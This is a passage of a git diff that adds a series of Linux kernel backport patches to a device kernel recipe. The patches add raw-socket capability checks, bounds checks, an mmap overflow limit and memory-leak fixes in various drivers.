net/hsr/hsr_framereg.c | 12 ++++++++++++ + net/hsr/hsr_framereg.h | 1 + + 3 files changed, 16 insertions(+), 1 deletion(-) + +diff --git a/net/hsr/hsr_device.c b/net/hsr/hsr_device.c +index a138d75751df2..3d5d2c6b2bc28 100644 +--- a/net/hsr/hsr_device.c ++++ b/net/hsr/hsr_device.c +@@ -474,7 +474,7 @@ int hsr_dev_finalize(struct net_device *hsr_dev, struct net_device *slave[2], + + res = hsr_add_port(hsr, hsr_dev, HSR_PT_MASTER); + if (res) +- return res; ++ goto err_add_port; + + res = register_netdevice(hsr_dev); + if (res) +@@ -495,6 +495,8 @@ int hsr_dev_finalize(struct net_device *hsr_dev, struct net_device *slave[2], + fail: + hsr_for_each_port(hsr, port) + hsr_del_port(port); ++err_add_port: ++ hsr_del_node(&hsr->self_node_db); + + return res; + } +diff --git a/net/hsr/hsr_framereg.c b/net/hsr/hsr_framereg.c +index bace124d14ef5..46415839e67e9 100644 +--- a/net/hsr/hsr_framereg.c ++++ b/net/hsr/hsr_framereg.c +@@ -124,6 +124,18 @@ int hsr_create_self_node(struct list_head *self_node_db, + return 0; + } + ++void hsr_del_node(struct list_head *self_node_db) ++{ ++ struct hsr_node *node; ++ ++ rcu_read_lock(); ++ node = list_first_or_null_rcu(self_node_db, struct hsr_node, mac_list); ++ rcu_read_unlock(); ++ if (node) { ++ list_del_rcu(&node->mac_list); ++ kfree(node); ++ } ++} + + /* Allocate an hsr_node and add it to node_db. 'addr' is the node's AddressA; + * seq_out is used to initialize filtering of outgoing duplicate frames +diff --git a/net/hsr/hsr_framereg.h b/net/hsr/hsr_framereg.h +index 438b40f98f5a9..7a8f4e98f5151 100644 +--- a/net/hsr/hsr_framereg.h ++++ b/net/hsr/hsr_framereg.h +@@ -16,6 +16,7 @@ + + struct hsr_node; + ++void hsr_del_node(struct list_head *self_node_db); + struct hsr_node *hsr_add_node(struct list_head *node_db, unsigned char addr[], + u16 seq_out); + struct hsr_node *hsr_get_node(struct list_head *node_db, struct sk_buff *skb, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0580.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0580.diff new file mode 100644 index 0000000..baa3c69 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0580.diff @@ -0,0 +1,13 @@ +diff --git a/net/ax25/af_ax25.c b/net/ax25/af_ax25.c +index 92fbd98..d7c466c 100644 +--- a/net/ax25/af_ax25.c ++++ b/net/ax25/af_ax25.c +@@ -860,6 +860,8 @@ + break; + + case SOCK_RAW: ++ if (!capable(CAP_NET_RAW)) ++ return -EPERM; + break; + default: + return -ESOCKTNOSUPPORT; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0581.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0581.diff new file mode 100644 index 0000000..be27a51 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0581.diff @@ -0,0 +1,14 @@ +diff --git a/net/ieee802154/af_ieee802154.c b/net/ieee802154/af_ieee802154.c +index 29e0de6..69d22a3 100644 +--- a/net/ieee802154/af_ieee802154.c ++++ b/net/ieee802154/af_ieee802154.c +@@ -252,6 +252,9 @@ + + switch (sock->type) { + case SOCK_RAW: ++ rc = -EPERM; ++ if (!capable(CAP_NET_RAW)) ++ goto out; + proto = &ieee802154_raw_prot; + ops = &ieee802154_raw_ops; + break; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0582.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0582.diff new file mode 100644 index 0000000..714124b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0582.diff @@ -0,0 +1,16 @@ +diff --git a/net/appletalk/ddp.c b/net/appletalk/ddp.c +index 276a09d..9daf8a6 100644 +--- a/net/appletalk/ddp.c ++++ b/net/appletalk/ddp.c +@@ -1029,6 +1029,11 @@ + */ + if (sock->type != SOCK_RAW && sock->type != SOCK_DGRAM) + goto out; ++ ++ rc = -EPERM; ++ if (sock->type == SOCK_RAW && !kern && !capable(CAP_NET_RAW)) ++ goto out; ++ + rc = -ENOMEM; + sk = sk_alloc(net, PF_APPLETALK, GFP_KERNEL, &ddp_proto); + if (!sk) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0583.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0583.diff new file mode 100644 index 0000000..866772d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0583.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/isdn/mISDN/socket.c b/drivers/isdn/mISDN/socket.c +index 1be8228..be13516 100644 +--- a/drivers/isdn/mISDN/socket.c ++++ b/drivers/isdn/mISDN/socket.c +@@ -763,6 +763,8 @@ + + if (sock->type != SOCK_RAW) + return -ESOCKTNOSUPPORT; ++ if (!capable(CAP_NET_RAW)) ++ return -EPERM; + + sk = sk_alloc(net, PF_ISDN, GFP_KERNEL, &mISDN_proto); + if (!sk) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0584.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0584.diff new file mode 100644 index 0000000..5885eea --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0584.diff @@ -0,0 +1,20 @@ +diff --git a/net/nfc/llcp_sock.c b/net/nfc/llcp_sock.c +index 499e948..4982892 100644 +--- a/net/nfc/llcp_sock.c ++++ b/net/nfc/llcp_sock.c +@@ -1005,10 +1005,13 @@ + sock->type != SOCK_RAW) + return -ESOCKTNOSUPPORT; + +- if (sock->type == SOCK_RAW) ++ if (sock->type == SOCK_RAW) { ++ if (!capable(CAP_NET_RAW)) ++ return -EPERM; + sock->ops = &llcp_rawsock_ops; +- else ++ } else { + sock->ops = &llcp_sock_ops; ++ } + + sk = nfc_llcp_sock_alloc(sock, sock->type, GFP_ATOMIC); + if (sk == NULL) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0585.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0585.diff new file mode 100644 index 0000000..5bee625 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0585.diff @@ -0,0 +1,78 @@ +diff --git a/drivers/infiniband/hw/cxgb4/mem.c b/drivers/infiniband/hw/cxgb4/mem.c +index ec7a298..702d8f9 100644 +--- a/drivers/infiniband/hw/cxgb4/mem.c ++++ b/drivers/infiniband/hw/cxgb4/mem.c +@@ -247,13 +247,17 @@ + u64 len, u8 page_size, u32 pbl_size, u32 pbl_addr) + { + int err; +- struct fw_ri_tpte tpt; ++ struct fw_ri_tpte *tpt; + u32 stag_idx; + static atomic_t key; + + if (c4iw_fatal_error(rdev)) + return -EIO; + ++ tpt = kmalloc(sizeof(*tpt), GFP_KERNEL); ++ if (!tpt) ++ return -ENOMEM; ++ + stag_state = stag_state > 0; + stag_idx = (*stag) >> 8; + +@@ -263,6 +267,7 @@ + mutex_lock(&rdev->stats.lock); + rdev->stats.stag.fail++; + mutex_unlock(&rdev->stats.lock); ++ kfree(tpt); + return -ENOMEM; + } + mutex_lock(&rdev->stats.lock); +@@ -277,28 +282,28 @@ + + /* write TPT entry */ + if (reset_tpt_entry) +- memset(&tpt, 0, sizeof(tpt)); ++ memset(tpt, 0, sizeof(*tpt)); + else { +- tpt.valid_to_pdid = cpu_to_be32(F_FW_RI_TPTE_VALID | ++ tpt->valid_to_pdid = cpu_to_be32(F_FW_RI_TPTE_VALID | + V_FW_RI_TPTE_STAGKEY((*stag & M_FW_RI_TPTE_STAGKEY)) | + V_FW_RI_TPTE_STAGSTATE(stag_state) | + V_FW_RI_TPTE_STAGTYPE(type) | V_FW_RI_TPTE_PDID(pdid)); +- tpt.locread_to_qpid = cpu_to_be32(V_FW_RI_TPTE_PERM(perm) | ++ tpt->locread_to_qpid = cpu_to_be32(V_FW_RI_TPTE_PERM(perm) | + (bind_enabled ? F_FW_RI_TPTE_MWBINDEN : 0) | + V_FW_RI_TPTE_ADDRTYPE((zbva ? FW_RI_ZERO_BASED_TO : + FW_RI_VA_BASED_TO))| + V_FW_RI_TPTE_PS(page_size)); +- tpt.nosnoop_pbladdr = !pbl_size ? 0 : cpu_to_be32( ++ tpt->nosnoop_pbladdr = !pbl_size ? 0 : cpu_to_be32( + V_FW_RI_TPTE_PBLADDR(PBL_OFF(rdev, pbl_addr)>>3)); +- tpt.len_lo = cpu_to_be32((u32)(len & 0xffffffffUL)); +- tpt.va_hi = cpu_to_be32((u32)(to >> 32)); +- tpt.va_lo_fbo = cpu_to_be32((u32)(to & 0xffffffffUL)); +- tpt.dca_mwbcnt_pstag = cpu_to_be32(0); +- tpt.len_hi = cpu_to_be32((u32)(len >> 32)); ++ tpt->len_lo = cpu_to_be32((u32)(len & 0xffffffffUL)); ++ tpt->va_hi = cpu_to_be32((u32)(to >> 32)); ++ tpt->va_lo_fbo = cpu_to_be32((u32)(to & 0xffffffffUL)); ++ tpt->dca_mwbcnt_pstag = cpu_to_be32(0); ++ tpt->len_hi = cpu_to_be32((u32)(len >> 32)); + } + err = write_adapter_mem(rdev, stag_idx + + (rdev->lldi.vr->stag.start >> 5), +- sizeof(tpt), &tpt); ++ sizeof(*tpt), tpt); + + if (reset_tpt_entry) { + c4iw_put_resource(&rdev->resource.tpt_table, stag_idx); +@@ -306,6 +311,7 @@ + rdev->stats.stag.cur -= 32; + mutex_unlock(&rdev->stats.lock); + } ++ kfree(tpt); + return err; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0586.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0586.diff new file mode 100644 index 0000000..1a7dd0d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0586.diff @@ -0,0 +1,33 @@ +diff --git a/net/wireless/wext-sme.c b/net/wireless/wext-sme.c +index 368611c..6c5f471 100644 +--- a/net/wireless/wext-sme.c ++++ b/net/wireless/wext-sme.c +@@ -225,6 +225,7 @@ + struct iw_point *data, char *ssid) + { + struct wireless_dev *wdev = dev->ieee80211_ptr; ++ int ret = 0; + + /* call only for station! */ + if (WARN_ON(wdev->iftype != NL80211_IFTYPE_STATION)) +@@ -242,7 +243,10 @@ + if (ie) { + data->flags = 1; + data->length = ie[1]; +- memcpy(ssid, ie + 2, data->length); ++ if (data->length > IW_ESSID_MAX_SIZE) ++ ret = -EINVAL; ++ else ++ memcpy(ssid, ie + 2, data->length); + } + rcu_read_unlock(); + } else if (wdev->wext.connect.ssid && wdev->wext.connect.ssid_len) { +@@ -252,7 +256,7 @@ + } + wdev_unlock(wdev); + +- return 0; ++ return ret; + } + + int cfg80211_mgd_wext_siwap(struct net_device *dev, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0587.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0587.diff new file mode 100644 index 0000000..2d8a267 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0587.diff @@ -0,0 +1,24 @@ +diff --git a/drivers/net/wireless/rtlwifi/ps.c b/drivers/net/wireless/rtlwifi/ps.c +index b69321d..7bafe59 100644 +--- a/drivers/net/wireless/rtlwifi/ps.c ++++ b/drivers/net/wireless/rtlwifi/ps.c +@@ -761,6 +761,9 @@ + return; + } else { + noa_num = (noa_len - 2) / 13; ++ if (noa_num > P2P_MAX_NOA_NUM) ++ noa_num = P2P_MAX_NOA_NUM; ++ + } + noa_index = ie[3]; + if (rtlpriv->psc.p2p_ps_info.p2p_ps_mode == +@@ -855,6 +858,9 @@ + return; + } else { + noa_num = (noa_len - 2) / 13; ++ if (noa_num > P2P_MAX_NOA_NUM) ++ noa_num = P2P_MAX_NOA_NUM; ++ + } + noa_index = ie[3]; + if (rtlpriv->psc.p2p_ps_info.p2p_ps_mode == diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0588-bf3ff108832e-mmap introduce sane default mmap limits.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0588-bf3ff108832e-mmap introduce sane default mmap limits.patch new file mode 100644 index 0000000..48b6f12 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0588-bf3ff108832e-mmap introduce sane default mmap limits.patch @@ -0,0 +1,126 @@ +From bf3ff108832e28b7ca8df5a02e2a03ced29cd31e Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Fri, 11 May 2018 09:52:01 -0700 +Subject: mmap: introduce sane default mmap limits + +commit be83bbf806822b1b89e0a0f23cd87cddc409e429 upstream. + +The internal VM "mmap()" interfaces are based on the mmap target doing +everything using page indexes rather than byte offsets, because +traditionally (ie 32-bit) we had the situation that the byte offset +didn't fit in a register. So while the mmap virtual address was limited +by the word size of the architecture, the backing store was not. + +So we're basically passing "pgoff" around as a page index, in order to +be able to describe backing store locations that are much bigger than +the word size (think files larger than 4GB etc). + +But while this all makes a ton of sense conceptually, we've been dogged +by various drivers that don't really understand this, and internally +work with byte offsets, and then try to work with the page index by +turning it into a byte offset with "pgoff << PAGE_SHIFT". + +Which obviously can overflow. + +Adding the size of the mapping to it to get the byte offset of the end +of the backing store just exacerbates the problem, and if you then use +this overflow-prone value to check various limits of your device driver +mmap capability, you're just setting yourself up for problems. + +The correct thing for drivers to do is to do their limit math in page +indices, the way the interface is designed. Because the generic mmap +code _does_ test that the index doesn't overflow, since that's what the +mmap code really cares about. + +HOWEVER. + +Finding and fixing various random drivers is a sisyphean task, so let's +just see if we can just make the core mmap() code do the limiting for +us. Realistically, the only "big" backing stores we need to care about +are regular files and block devices, both of which are known to do this +properly, and which have nice well-defined limits for how much data they +can access. + +So let's special-case just those two known cases, and then limit other +random mmap users to a backing store that still fits in "unsigned long". +Realistically, that's not much of a limit at all on 64-bit, and on +32-bit architectures the only worry might be the GPU drivers, which can +have big physical address spaces. + +To make it possible for drivers like that to say that they are 64-bit +clean, this patch does repurpose the "FMODE_UNSIGNED_OFFSET" bit in the +file flags to allow drivers to mark their file descriptors as safe in +the full 64-bit mmap address space. + +[ The timing for doing this is less than optimal, and this should really + go in a merge window. But realistically, this needs wide testing more + than it needs anything else, and being main-line is the only way to do + that. + + So the earlier the better, even if it's outside the proper development + cycle - Linus ] + +Cc: Kees Cook +Cc: Dan Carpenter +Cc: Al Viro +Cc: Willy Tarreau +Cc: Dave Airlie +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + mm/mmap.c | 32 ++++++++++++++++++++++++++++++++ + 1 file changed, 32 insertions(+) + +diff --git a/mm/mmap.c b/mm/mmap.c +index 60ba08e971fb6..149b8671aa3f0 100644 +--- a/mm/mmap.c ++++ b/mm/mmap.c +@@ -1271,6 +1271,35 @@ static inline int mlock_future_check(struct mm_struct *mm, + return 0; + } + ++static inline u64 file_mmap_size_max(struct file *file, struct inode *inode) ++{ ++ if (S_ISREG(inode->i_mode)) ++ return inode->i_sb->s_maxbytes; ++ ++ if (S_ISBLK(inode->i_mode)) ++ return MAX_LFS_FILESIZE; ++ ++ /* Special "we do even unsigned file positions" case */ ++ if (file->f_mode & FMODE_UNSIGNED_OFFSET) ++ return 0; ++ ++ /* Yes, random drivers might want more. But I'm tired of buggy drivers */ ++ return ULONG_MAX; ++} ++ ++static inline bool file_mmap_ok(struct file *file, struct inode *inode, ++ unsigned long pgoff, unsigned long len) ++{ ++ u64 maxsize = file_mmap_size_max(file, inode); ++ ++ if (maxsize && len > maxsize) ++ return false; ++ maxsize -= len; ++ if (pgoff > maxsize >> PAGE_SHIFT) ++ return false; ++ return true; ++} ++ + /* + * The caller must hold down_write(¤t->mm->mmap_sem). + */ +@@ -1338,6 +1367,9 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr, + if (file) { + struct inode *inode = file_inode(file); + ++ if (!file_mmap_ok(file, inode, pgoff, len)) ++ return -EOVERFLOW; ++ + switch (flags & MAP_TYPE) { + case MAP_SHARED: + if ((prot&PROT_WRITE) && !(file->f_mode&FMODE_WRITE)) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0589.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0589.diff new file mode 100644 index 0000000..852cb8c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0589.diff @@ -0,0 +1,80 @@ +diff --git a/drivers/media/platform/vivid/vivid-kthread-cap.c b/drivers/media/platform/vivid/vivid-kthread-cap.c +index b947c04..7f2c598 100644 +--- a/drivers/media/platform/vivid/vivid-kthread-cap.c ++++ b/drivers/media/platform/vivid/vivid-kthread-cap.c +@@ -729,7 +729,11 @@ + if (kthread_should_stop()) + break; + +- mutex_lock(&dev->mutex); ++ if (!mutex_trylock(&dev->mutex)) { ++ schedule_timeout_uninterruptible(1); ++ continue; ++ } ++ + cur_jiffies = jiffies; + if (dev->cap_seq_resync) { + dev->jiffies_vid_cap = cur_jiffies; +@@ -882,8 +886,6 @@ + + /* shutdown control thread */ + vivid_grab_controls(dev, false); +- mutex_unlock(&dev->mutex); + kthread_stop(dev->kthread_vid_cap); + dev->kthread_vid_cap = NULL; +- mutex_lock(&dev->mutex); + } +diff --git a/drivers/media/platform/vivid/vivid-kthread-out.c b/drivers/media/platform/vivid/vivid-kthread-out.c +index 2ce8dc1..aa2979f 100644 +--- a/drivers/media/platform/vivid/vivid-kthread-out.c ++++ b/drivers/media/platform/vivid/vivid-kthread-out.c +@@ -147,7 +147,11 @@ + if (kthread_should_stop()) + break; + +- mutex_lock(&dev->mutex); ++ if (!mutex_trylock(&dev->mutex)) { ++ schedule_timeout_uninterruptible(1); ++ continue; ++ } ++ + cur_jiffies = jiffies; + if (dev->out_seq_resync) { + dev->jiffies_vid_out = cur_jiffies; +@@ -301,8 +305,6 @@ + + /* shutdown control thread */ + vivid_grab_controls(dev, false); +- mutex_unlock(&dev->mutex); + kthread_stop(dev->kthread_vid_out); + dev->kthread_vid_out = NULL; +- mutex_lock(&dev->mutex); + } +diff --git a/drivers/media/platform/vivid/vivid-sdr-cap.c b/drivers/media/platform/vivid/vivid-sdr-cap.c +index 8c5d661..b6b0857 100644 +--- a/drivers/media/platform/vivid/vivid-sdr-cap.c ++++ b/drivers/media/platform/vivid/vivid-sdr-cap.c +@@ -130,7 +130,11 @@ + if (kthread_should_stop()) + break; + +- mutex_lock(&dev->mutex); ++ if (!mutex_trylock(&dev->mutex)) { ++ schedule_timeout_uninterruptible(1); ++ continue; ++ } ++ + cur_jiffies = jiffies; + if (dev->sdr_cap_seq_resync) { + dev->jiffies_sdr_cap = cur_jiffies; +@@ -285,10 +289,8 @@ + } + + /* shutdown control thread */ +- mutex_unlock(&dev->mutex); + kthread_stop(dev->kthread_sdr_cap); + dev->kthread_sdr_cap = NULL; +- mutex_lock(&dev->mutex); + } + + const struct vb2_ops vivid_sdr_cap_qops = { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0590.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0590.diff new file mode 100644 index 0000000..864ebb9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0590.diff @@ -0,0 +1,12 @@ +diff --git a/drivers/net/ethernet/qlogic/qla3xxx.c b/drivers/net/ethernet/qlogic/qla3xxx.c +index a51506b..b92b26b 100644 +--- a/drivers/net/ethernet/qlogic/qla3xxx.c ++++ b/drivers/net/ethernet/qlogic/qla3xxx.c +@@ -2787,6 +2787,7 @@ + netdev_err(qdev->ndev, + "PCI mapping failed with error: %d\n", + err); ++ dev_kfree_skb_irq(skb); + ql_free_large_buffers(qdev); + return -ENOMEM; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0591.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0591.diff new file mode 100644 index 0000000..1c359bb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0591.diff @@ -0,0 +1,12 @@ +diff --git a/drivers/net/wimax/i2400m/op-rfkill.c b/drivers/net/wimax/i2400m/op-rfkill.c +index b0dba35..7c92e8a 100644 +--- a/drivers/net/wimax/i2400m/op-rfkill.c ++++ b/drivers/net/wimax/i2400m/op-rfkill.c +@@ -142,6 +142,7 @@ + "%d\n", result); + result = 0; + error_cmd: ++ kfree(cmd); + kfree_skb(ack_skb); + error_msg_to_dev: + error_alloc: diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0592-6f3ef5c25cc7-wimax i2400 Fix memory leak in i2400moprfkillswtoggle.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0592-6f3ef5c25cc7-wimax i2400 Fix memory leak in i2400moprfkillswtoggle.patch new file mode 100644 index 0000000..f824667 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0592-6f3ef5c25cc7-wimax i2400 Fix memory leak in i2400moprfkillswtoggle.patch @@ -0,0 +1,39 @@ +From 6f3ef5c25cc762687a7341c18cbea5af54461407 Mon Sep 17 00:00:00 2001 +From: Navid Emamdoost +Date: Fri, 25 Oct 2019 23:53:30 -0500 +Subject: wimax: i2400: Fix memory leak in i2400m_op_rfkill_sw_toggle + +In the implementation of i2400m_op_rfkill_sw_toggle() the allocated +buffer for cmd should be released before returning. The +documentation for i2400m_msg_to_dev() says when it returns the buffer +can be reused. Meaning cmd should be released in either case. Move +kfree(cmd) before return to be reached by all execution paths. + +Fixes: 2507e6ab7a9a ("wimax: i2400: fix memory leak") +Signed-off-by: Navid Emamdoost +Signed-off-by: David S. Miller +--- + drivers/net/wimax/i2400m/op-rfkill.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/wimax/i2400m/op-rfkill.c b/drivers/net/wimax/i2400m/op-rfkill.c +index 8efb493ceec2f..5c79f052cad20 100644 +--- a/drivers/net/wimax/i2400m/op-rfkill.c ++++ b/drivers/net/wimax/i2400m/op-rfkill.c +@@ -127,12 +127,12 @@ int i2400m_op_rfkill_sw_toggle(struct wimax_dev *wimax_dev, + "%d\n", result); + result = 0; + error_cmd: +- kfree(cmd); + kfree_skb(ack_skb); + error_msg_to_dev: + error_alloc: + d_fnend(4, dev, "(wimax_dev %p state %d) = %d\n", + wimax_dev, state, result); ++ kfree(cmd); + return result; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0593-2507e6ab7a9a-wimax i2400 fix memory leak.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0593-2507e6ab7a9a-wimax i2400 fix memory leak.patch new file mode 100644 index 0000000..cf8812d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0593-2507e6ab7a9a-wimax i2400 fix memory leak.patch @@ -0,0 +1,29 @@ +From 2507e6ab7a9a440773be476141a255934468c5ef Mon Sep 17 00:00:00 2001 +From: Navid Emamdoost +Date: Tue, 10 Sep 2019 18:01:40 -0500 +Subject: wimax: i2400: fix memory leak + +In i2400m_op_rfkill_sw_toggle cmd buffer should be released along with +skb response. + +Signed-off-by: Navid Emamdoost +Signed-off-by: David S. Miller +--- + drivers/net/wimax/i2400m/op-rfkill.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/net/wimax/i2400m/op-rfkill.c b/drivers/net/wimax/i2400m/op-rfkill.c +index 6642bcb27761d..8efb493ceec2f 100644 +--- a/drivers/net/wimax/i2400m/op-rfkill.c ++++ b/drivers/net/wimax/i2400m/op-rfkill.c +@@ -127,6 +127,7 @@ int i2400m_op_rfkill_sw_toggle(struct wimax_dev *wimax_dev, + "%d\n", result); + result = 0; + error_cmd: ++ kfree(cmd); + kfree_skb(ack_skb); + error_msg_to_dev: + error_alloc: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0594.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0594.diff new file mode 100644 index 0000000..8b0c1c3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0594.diff @@ -0,0 +1,12 @@ +diff --git a/drivers/net/can/usb/gs_usb.c b/drivers/net/can/usb/gs_usb.c +index 4c13320..870bb17 100644 +--- a/drivers/net/can/usb/gs_usb.c ++++ b/drivers/net/can/usb/gs_usb.c +@@ -617,6 +617,7 @@ + rc); + + usb_unanchor_urb(urb); ++ usb_free_urb(urb); + break; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0595.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0595.diff new file mode 100644 index 0000000..35ecc9d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0595.diff @@ -0,0 +1,17 @@ +diff --git a/drivers/media/pci/cx23885/cx23888-ir.c b/drivers/media/pci/cx23885/cx23888-ir.c +index c1aa888..83864a9 100644 +--- a/drivers/media/pci/cx23885/cx23888-ir.c ++++ b/drivers/media/pci/cx23885/cx23888-ir.c +@@ -1179,8 +1179,11 @@ + return -ENOMEM; + + spin_lock_init(&state->rx_kfifo_lock); +- if (kfifo_alloc(&state->rx_kfifo, CX23888_IR_RX_KFIFO_SIZE, GFP_KERNEL)) ++ if (kfifo_alloc(&state->rx_kfifo, CX23888_IR_RX_KFIFO_SIZE, ++ GFP_KERNEL)) { ++ kfree(state); + return -ENOMEM; ++ } + + state->dev = dev; + sd = &state->sd; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0596.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0596.diff new file mode 100644 index 0000000..869c399 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0596.diff @@ -0,0 +1,16 @@ +diff --git a/drivers/net/wireless/mwifiex/pcie.c b/drivers/net/wireless/mwifiex/pcie.c +index b2071553..648d402 100644 +--- a/drivers/net/wireless/mwifiex/pcie.c ++++ b/drivers/net/wireless/mwifiex/pcie.c +@@ -901,8 +901,10 @@ + } + skb_put(skb, MWIFIEX_UPLD_SIZE); + if (mwifiex_map_pci_memory(adapter, skb, MWIFIEX_UPLD_SIZE, +- PCI_DMA_FROMDEVICE)) ++ PCI_DMA_FROMDEVICE)) { ++ kfree_skb(skb); + return -1; ++ } + + card->cmdrsp_buf = skb; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0597.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0597.diff new file mode 100644 index 0000000..34c9bbf --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0597.diff @@ -0,0 +1,17 @@ +diff --git a/drivers/net/wireless/mwifiex/pcie.c b/drivers/net/wireless/mwifiex/pcie.c +index 648d402..565d2dc 100644 +--- a/drivers/net/wireless/mwifiex/pcie.c ++++ b/drivers/net/wireless/mwifiex/pcie.c +@@ -564,8 +564,11 @@ + skb_put(skb, MAX_EVENT_SIZE); + + if (mwifiex_map_pci_memory(adapter, skb, MAX_EVENT_SIZE, +- PCI_DMA_FROMDEVICE)) ++ PCI_DMA_FROMDEVICE)) { ++ kfree_skb(skb); ++ kfree(card->evtbd_ring_vbase); + return -1; ++ } + + buf_pa = MWIFIEX_SKB_DMA_ADDR(skb); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0598.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0598.diff new file mode 100644 index 0000000..caa57ea --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0598.diff @@ -0,0 +1,17 @@ +diff --git a/drivers/iio/imu/adis16400_buffer.c b/drivers/iio/imu/adis16400_buffer.c +index 6e727ff..ffbb2da 100644 +--- a/drivers/iio/imu/adis16400_buffer.c ++++ b/drivers/iio/imu/adis16400_buffer.c +@@ -32,8 +32,11 @@ + + adis->buffer = kzalloc(indio_dev->scan_bytes + sizeof(u16), + GFP_KERNEL); +- if (!adis->buffer) ++ if (!adis->buffer) { ++ kfree(adis->xfer); ++ adis->xfer = NULL; + return -ENOMEM; ++ } + + tx = adis->buffer + indio_dev->scan_bytes; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0599.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0599.diff new file mode 100644 index 0000000..dafd3bb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0599.diff @@ -0,0 +1,16 @@ +diff --git a/crypto/crypto_user.c b/crypto/crypto_user.c +index 06ac059..a717e25 100644 +--- a/crypto/crypto_user.c ++++ b/crypto/crypto_user.c +@@ -221,8 +221,10 @@ + info.nlmsg_flags = 0; + + err = crypto_report_alg(alg, &info); +- if (err) ++ if (err) { ++ kfree_skb(skb); + return err; ++ } + + return nlmsg_unicast(crypto_nlsk, skb, NETLINK_CB(in_skb).portid); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0600.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0600.diff new file mode 100644 index 0000000..e5cdb06 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0600.diff @@ -0,0 +1,24 @@ +diff --git a/drivers/net/wireless/rtlwifi/usb.c b/drivers/net/wireless/rtlwifi/usb.c +index 0eb3289..6d004f4 100644 +--- a/drivers/net/wireless/rtlwifi/usb.c ++++ b/drivers/net/wireless/rtlwifi/usb.c +@@ -1072,8 +1072,10 @@ + rtlpriv = hw->priv; + rtlpriv->usb_data = kzalloc(RTL_USB_MAX_RX_COUNT * sizeof(u32), + GFP_KERNEL); +- if (!rtlpriv->usb_data) ++ if (!rtlpriv->usb_data) { ++ ieee80211_free_hw(hw); + return -ENOMEM; ++ } + + /* this spin lock must be initialized early */ + spin_lock_init(&rtlpriv->locks.usb_lock); +@@ -1136,6 +1138,7 @@ + _rtl_usb_io_handler_release(hw); + usb_put_dev(udev); + complete(&rtlpriv->firmware_loading_complete); ++ kfree(rtlpriv->usb_data); + return -ENODEV; + } + EXPORT_SYMBOL(rtl_usb_probe); diff --git 